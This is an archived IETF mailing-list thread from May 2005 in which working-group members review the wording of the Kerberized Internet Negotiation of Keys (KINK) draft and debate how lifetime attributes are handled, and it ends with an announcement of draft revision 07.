no From owner-ietf-kink Wed May 11 01:29:34 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4B8TYN6082167; Wed, 11 May 2005 01:29:34 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4B8TXkF082166; Wed, 11 May 2005 01:29:33 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4B8TWwf082154 for ; Wed, 11 May 2005 01:29:32 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j4B8TVu9032726; Wed, 11 May 2005 17:29:32 +0900 (JST) (envelope-from sakane@kame.net) To: hartmans-ietf@mit.edu Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] In-Reply-To: Your message of "Tue, 18 Jan 2005 17:31:08 -0500" References: X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050511172908L.sakane@kame.net> Date: Wed, 11 May 2005 17:29:08 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20050308(IM148) Lines: 13 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Section 2: > Cite a reference for DER. The explanation of "DER" should be droped in the section 2. Because it is clear for KINK to use it because kerberos use it. I also think the section 2 should be improved. It is little verbose. in particular, about Kerberos things, we should refer to the kerberos specification. so I suggest to write the following sentence into the Introduction. It is assumed that the reader is familiar with the terms and concepts described in the Kerberos version 5. From owner-ietf-kink Wed May 11 01:29:14 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4B8TEsG082056; Wed, 11 May 2005 01:29:14 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4B8TE5D082055; Wed, 11 May 2005 01:29:14 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4B8TD3P082037 for ; Wed, 11 May 2005 01:29:13 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j4B8TLu9032723 for ; Wed, 11 May 2005 17:29:24 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #42 [-] Wording X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050511172858R.sakane@kame.net> Date: Wed, 11 May 2005 17:28:58 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20050308(IM148) Lines: 28 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, all. Let's resume discussion of making our draft. >>#42 [-] Wording >>(waiting a revision) >> >> Section 4.3, discussing attributes, mixes singular and plural >> indications. If Ken indicated the following sentence; The initiator MUST check to see if the optimistic payload was selected by comparing all transforms and attributes which MUST be identical from the initiator's optimistic proposal with the lone exception of LIFE_KILOBYTES and LIFE_SECONDS. then I think that the original text in the section 4.3 is nearly correct. because a single proposal can contain multiple transforms, for example, using both ESP and AH. and regardless of that, a transform can contain multiple attributes. >> The word "lone" appears to be popular with the author, >> too. :-) (Ken Raeburn) kink payloads can logically chain infinitely. so i guess the author used the word. i propose that the section 7.3 should be placed before the section 4.3. we can reduce using the word because the seciton 7.3 explains the kink packet structure. From owner-ietf-kink Wed May 11 02:17:38 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4B9HcrC099295; Wed, 11 May 2005 02:17:38 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4B9Hcc7099294; Wed, 11 May 2005 02:17:38 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4B9Hapw099264 for ; Wed, 11 May 2005 02:17:37 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 8787D5E for ; Wed, 11 May 2005 18:17:35 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 4uYfQc; Wed, 11 May 2005 18:17:35 +0900 (JST) Date: Wed, 11 May 2005 18:18:12 +0900 Message-ID: <20050511181812OD%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #42 [-] Wording In-Reply-To: <20050511172858R.sakane@kame.net> References: <20050511172858R.sakane@kame.net> User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.3) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: # I know such a subtle English matter is beyond me... At Wed, 11 May 2005 17:28:58 +0900, Shoichi Sakane wrote: > > >>#42 [-] Wording > >>(waiting a revision) > >> > >> Section 4.3, discussing attributes, mixes singular and plural > >> indications. > > If Ken indicated the following sentence; > > The initiator MUST check to see if the optimistic payload was selected by > comparing all transforms and attributes which MUST be identical from > the initiator's optimistic proposal with the lone exception of > LIFE_KILOBYTES and LIFE_SECONDS. > > then I think that the original text in the section 4.3 is nearly correct. > because a single proposal can contain multiple transforms, for example, > using both ESP and AH. and regardless of that, a transform can contain > multiple attributes. I agree that this is just a wording issue. How about this: The initiator MUST check to see if the optimistic payload was selected by comparing all transforms and attributes which MUST be identical from those in the initiator's optimistic proposal with the lone ~~~~~~~~ exception of LIFE_KILOBYTES and LIFE_SECONDS. Each of these ~~~~ attributes MAY be set to a lower value by the respondent and still expect optimistic keying, but MUST NOT be set to a higher value which MUST generate an error. > >> The word "lone" appears to be popular with the author, > >> too. :-) (Ken Raeburn) > > kink payloads can logically chain infinitely. so i guess the author > used the word. i propose that the section 7.3 should be placed before > the section 4.3. we can reduce using the word because the seciton 7.3 > explains the kink packet structure. I'm not sure but LIFE_KILOBYTES _and_ LIFE_SECONDS are two, not "lone"? -- KAMADA Ken'ichi From owner-ietf-kink Wed May 11 06:53:14 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4BDrEN5095573; Wed, 11 May 2005 06:53:14 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4BDrEAi095572; Wed, 11 May 2005 06:53:14 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from carter-zimmerman.mit.edu (carter-zimmerman.suchdamage.org [69.25.196.178]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4BDrCJr095563 for ; Wed, 11 May 2005 06:53:13 -0700 (PDT) (envelope-from hartmans@mit.edu) Received: by carter-zimmerman.mit.edu (Postfix, from userid 8042) id 47CA5E0065; Wed, 11 May 2005 09:53:01 -0400 (EDT) To: Shoichi Sakane Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <20050511172908L.sakane@kame.net> From: Sam Hartman Date: Wed, 11 May 2005 09:53:01 -0400 In-Reply-To: <20050511172908L.sakane@kame.net> (Shoichi Sakane's message of "Wed, 11 May 2005 17:29:08 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Shoichi" == Shoichi Sakane writes: >> Section 2: Cite a reference for DER. Shoichi> The explanation of "DER" should be droped in the section Shoichi> 2. Because it is clear for KINK to use it because Shoichi> kerberos use it. Shoichi> I also think the section 2 should be improved. It is Shoichi> little verbose. in particular, about Kerberos things, we Shoichi> should refer to the kerberos specification. so I suggest Shoichi> to write the following sentence into the Introduction. Shoichi> It is assumed that the reader is familiar with the Shoichi> terms and concepts described in the Kerberos version 5. Sounds good provided you reference Kerberos (which you do) From owner-ietf-kink Thu May 12 14:54:09 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4CLs8fr020795; Thu, 12 May 2005 14:54:08 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4CLs8v9020793; Thu, 12 May 2005 14:54:08 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-1.cisco.com (sj-iport-1-in.cisco.com [171.71.176.70]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4CLs8pm020779 for ; Thu, 12 May 2005 14:54:08 -0700 (PDT) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-1.cisco.com with ESMTP; 12 May 2005 14:54:03 -0700 X-IronPort-AV: i="3.93,100,1115017200"; d="asc'?scan'208"; a="635986358:sNHT37315512" Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j4CLrvO3008724; Thu, 12 May 2005 14:53:57 -0700 (PDT) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j4CLhegK022983; Thu, 12 May 2005 14:43:41 -0700 Subject: Re: #42 [-] Wording From: Michael Thomas To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org In-Reply-To: <20050511181812OD%kamada@nanohz.org> References: <20050511172858R.sakane@kame.net> <20050511181812OD%kamada@nanohz.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-13y0wTouyunIahWo+yD4" Organization: Cisco Systems Message-Id: <1115934839.31490.26.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Thu, 12 May 2005 14:53:59 -0700 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1115934221.227409"; x:"432200"; a:"rsa-sha1"; b:"nofws:1904"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"kz+QpsNwy22vYufPW28wMmlmUeKjctMKhOj2/0Vz826gn/nr8W+7BzOTlqfeeGRoMvDc2bA/" "MTjxyhyg+nCIw0RspIZMNloVPVuflK4z7isa5mHu8u1fIrOjQe0aUDGRpsa8grnAspShRrrcCr3" "W7/pFWr11nttWrTigWi/PvFw="; c:"Subject: Re: #42 [-] Wording"; c:"From: Michael Thomas "; c:"Date: Thu, 12 May 2005 14:53:59 -0700" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-13y0wTouyunIahWo+yD4 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-05-11 at 02:18, KAMADA Ken'ichi wrote: > # I know such a subtle English matter is beyond me... >=20 > At Wed, 11 May 2005 17:28:58 +0900, > Shoichi Sakane wrote: > >=20 > > >>#42 [-] Wording > > >>(waiting a revision) > > >> > > >> Section 4.3, discussing attributes, mixes singular and plural > > >> indications. > >=20 > > If Ken indicated the following sentence; > >=20 > > The initiator MUST check to see if the optimistic payload was select= ed by > > comparing all transforms and attributes which MUST be identical from > > the initiator's optimistic proposal with the lone exception of > > LIFE_KILOBYTES and LIFE_SECONDS. > >=20 > > then I think that the original text in the section 4.3 is nearly correc= t. > > because a single proposal can contain multiple transforms, for example, > > using both ESP and AH. and regardless of that, a transform can contain > > multiple attributes. >=20 > I agree that this is just a wording issue. > How about this: >=20 > The initiator MUST check to see if the optimistic payload was > selected by comparing all transforms and attributes which MUST be > identical from those in the initiator's optimistic proposal with the l= one > ~~~~~~~~ > exception of LIFE_KILOBYTES and LIFE_SECONDS. Each of these > ~~~~ > attributes MAY be set to a lower value by the respondent and still > expect optimistic keying, but MUST NOT be set to a higher value which > MUST generate an error. Good except: s/lone exception/exceptions I'm not sure it's an error though: what does IKE do in this case? >=20 >=20 > > >> The word "lone" appears to be popular with the au= thor, > > >> too. :-) (Ken Raeburn) Not any more... I've moved on :-)=20 Mike --=-13y0wTouyunIahWo+yD4 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQoPQd7MsDAj/Eq++AQLrOAP/aRdeeojNQwqhJ8JWtzjBw2pmQdaK/P30 Z4xYrmFvwQp6N3ppDAq6UKmcDX9M+PwDX4VEpYUzO+vbWgD7b31QoRy/GAASxlep BoxNso+7k1Rv60sSJOIFY24xffbWdspSrjZyvNGHRwb0Zq6k8D9QcuAp5I7uUjo3 JDeb0+oYrVg= =iL48 -----END PGP SIGNATURE----- --=-13y0wTouyunIahWo+yD4-- From owner-ietf-kink Mon May 16 20:54:51 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4H3spQN066733; Mon, 16 May 2005 20:54:51 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4H3spnX066732; Mon, 16 May 2005 20:54:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4H3snAx066718 for ; Mon, 16 May 2005 20:54:50 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j4H3tlu9071495 for ; Tue, 17 May 2005 12:55:57 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #42 [-] Wording In-Reply-To: Your message of "Thu, 12 May 2005 14:53:59 -0700" <1115934839.31490.26.camel@thomasm-lnx.cisco.com> References: <1115934839.31490.26.camel@thomasm-lnx.cisco.com> X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050517125432D.sakane@kame.net> Date: Tue, 17 May 2005 12:54:32 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20050308(IM148) Lines: 64 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > On Wed, 2005-05-11 at 02:18, KAMADA Ken'ichi wrote: > > # I know such a subtle English matter is beyond me... > > > > At Wed, 11 May 2005 17:28:58 +0900, > > Shoichi Sakane wrote: > > > > > > >>#42 [-] Wording > > > >>(waiting a revision) > > > >> > > > >> Section 4.3, discussing attributes, mixes singular and plural > > > >> indications. > > > > > > If Ken indicated the following sentence; > > > > > > The initiator MUST check to see if the optimistic payload was selected by > > > comparing all transforms and attributes which MUST be identical from > > > the initiator's optimistic proposal with the lone exception of > > > LIFE_KILOBYTES and LIFE_SECONDS. > > > > > > then I think that the original text in the section 4.3 is nearly correct. > > > because a single proposal can contain multiple transforms, for example, > > > using both ESP and AH. and regardless of that, a transform can contain > > > multiple attributes. > > > > I agree that this is just a wording issue. > > How about this: > > > > The initiator MUST check to see if the optimistic payload was > > selected by comparing all transforms and attributes which MUST be > > identical from those in the initiator's optimistic proposal with the lone > > ~~~~~~~~ > > exception of LIFE_KILOBYTES and LIFE_SECONDS. Each of these > > ~~~~ > > attributes MAY be set to a lower value by the respondent and still > > expect optimistic keying, but MUST NOT be set to a higher value which > > MUST generate an error. > > Good except: s/lone exception/exceptions > > I'm not sure it's an error though: what does IKE do in this > case? rfc2407 defines the exception of the lifetime handling, a.k.a the RESPONDER-LIFETIME handling. but it is used in case the responder set a lower value. If my understanding is correct, it must be error because of the following description in rfc2409. 5. Exchanges Responders MUST NOT modify attributes of any offer, attribute encoding excepted (see Appendix A). If the initiator of an exchange notices that attribute values have changed or attributes have been added or deleted from an offer made, that response MUST be rejected. my proposal (currently): - KINK also must be error. - KINK doesn't need the responder-lifetime notify message. it is not meaningful. it is clear that the attribute was modified by the responder. IKEv2 does not care the lifetime. there is no attribute. It completely leave the lifetime handling to the local policy. so we should consider the necessity of the lifetime attribute in KINK. From owner-ietf-kink Fri May 27 12:45:28 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4RJjSGi033032; Fri, 27 May 2005 12:45:28 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4RJjSSR033031; Fri, 27 May 2005 12:45:28 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4RJjRxR033025 for ; Fri, 27 May 2005 12:45:27 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20448; Fri, 27 May 2005 15:45:25 -0400 (EDT) Message-Id: <200505271945.PAA20448@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-07.txt Date: Fri, 27 May 2005 15:45:25 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas, et al. Filename : draft-ietf-kink-kink-07.txt Pages : 38 Date : 2005-5-27 This document describes the Kerberized Internet Negotiation of Keys protocol (KINK) and the domain of interpretation (DOI). KINK defines a low-latency, computationally inexpensive, easily managed, and cryptographically protocol to establish and maintain IPsec security associations (SAs) using the Kerberos authentication system. KINK reuses the payloads of Quick Mode of the Internet Key Exchange (IKE), which should lead to substantial reuse of existing IKE implementations. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-07.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-07.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-07.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-5-27154745.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-07.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-07.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-5-27154745.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Tue May 31 13:43:41 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4VKhfxN014557; Tue, 31 May 2005 13:43:41 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4VKhfF7014556; Tue, 31 May 2005 13:43:41 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4VKhe2f014549 for ; Tue, 31 May 2005 13:43:40 -0700 (PDT) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-2.cisco.com with ESMTP; 31 May 2005 13:43:35 -0700 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j4VKhUlw019761; Tue, 31 May 2005 13:43:30 -0700 (PDT) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j4VKW2HG004955; Tue, 31 May 2005 13:32:02 -0700 Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt From: Michael Thomas To: Internet-Drafts@ietf.org Cc: ietf-kink@vpnc.org In-Reply-To: <200505271945.PAA20448@ietf.org> References: <200505271945.PAA20448@ietf.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-lcBCVQ4+DTz4c0lXvqEA" Organization: Cisco Systems Message-Id: <1117572210.31579.15.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Tue, 31 May 2005 13:43:30 -0700 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1117571524.641307"; x:"432200"; a:"rsa-sha1"; b:"nofws:683"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"G8Gu92Po1TN1ZXHaDYEAhv5IEHl+KnijAFoWIKL760Zv7x5/aYUyB7Q3tpoFYHqDT1Nz9NtB" "owIm3AKJ01EYX9G++z7bEzisY4W1PXFR6lF9lxilTRO9fi9Cu1VVBYWM5Di2kjXUbtD0Ox5FNiL" "wp0KDJh6ooip5IgB7opKqlLw="; c:"Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt"; c:"From: Michael Thomas "; c:"Date: Tue, 31 May 2005 13:43:30 -0700" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-lcBCVQ4+DTz4c0lXvqEA Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi folks,=20 Is this draft complete with all of the agreed upon changes? Ie, is it what we're hoping to last call? If so I'll go through the changes and review it... Mike, with thanks to Shoichi and Ken'ichi --=-lcBCVQ4+DTz4c0lXvqEA Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQpzMcrMsDAj/Eq++AQK8FgP+I06relGzXc1z0UWH66wVOvGeKymXXB5B esMW0BqRKLixx/r1Urb494vxr0W7hfBknf028q3UjTKH+qD84HDzhb7vtV7AQrRn mW+cLvFyY3q1Na5aZCOBRg7DN+Nz/ESImOJK9X5VICtV8lTS3gHzIoXEf4pgwCN2 kUUQb07+HW8= =6otX -----END PGP SIGNATURE----- --=-lcBCVQ4+DTz4c0lXvqEA-- From owner-ietf-kink Tue May 31 13:58:13 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4VKwD1K015480; Tue, 31 May 2005 13:58:13 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j4VKwD0Z015479; Tue, 31 May 2005 13:58:13 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j4VKwDwA015466 for ; Tue, 31 May 2005 13:58:13 -0700 (PDT) (envelope-from mat@cisco.com) Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-2.cisco.com with ESMTP; 31 May 2005 13:58:08 -0700 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j4VKw5bw007794 for ; Tue, 31 May 2005 13:58:06 -0700 (PDT) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j4VKkbtC005108 for ; Tue, 31 May 2005 13:46:37 -0700 Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt From: Michael Thomas To: ietf-kink@vpnc.org In-Reply-To: <1117572210.31579.15.camel@thomasm-lnx.cisco.com> References: <200505271945.PAA20448@ietf.org> <1117572210.31579.15.camel@thomasm-lnx.cisco.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-zHYY83dNBHgJCOZslKDW" Organization: Cisco Systems Message-Id: <1117573084.31581.17.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Tue, 31 May 2005 13:58:04 -0700 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1117572397.240206"; x:"432200"; a:"rsa-sha1"; b:"nofws:805"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"GAgcvYMiddJZWsofWR1vmpw3XjvxLNeE2CHuteuo9Vs8sLJeLgeXpuMwCeFQH3arAxyTQsu/" "qeqNm2B6kZlH5ik4q5gYhCzB4joBx2JbyqMNmfN61AC+opZaSay5iexIZxh2i/+f4FkvN+xhdZv" "SB6HWEWtoOx+tFTEmzMZyL7Y="; c:"Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt"; c:"From: Michael Thomas "; c:"Date: Tue, 31 May 2005 13:58:04 -0700" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-zHYY83dNBHgJCOZslKDW Content-Type: text/plain Content-Transfer-Encoding: quoted-printable GRRRRRRR, please do not spam the drafts repository like I just did... Mike On Tue, 2005-05-31 at 13:43, Michael Thomas wrote: > Hi folks,=20 >=20 > Is this draft complete with all of the agreed upon changes? > Ie, is it what we're hoping to last call? If so I'll go > through the changes and review it... >=20 > Mike, with thanks to Shoichi 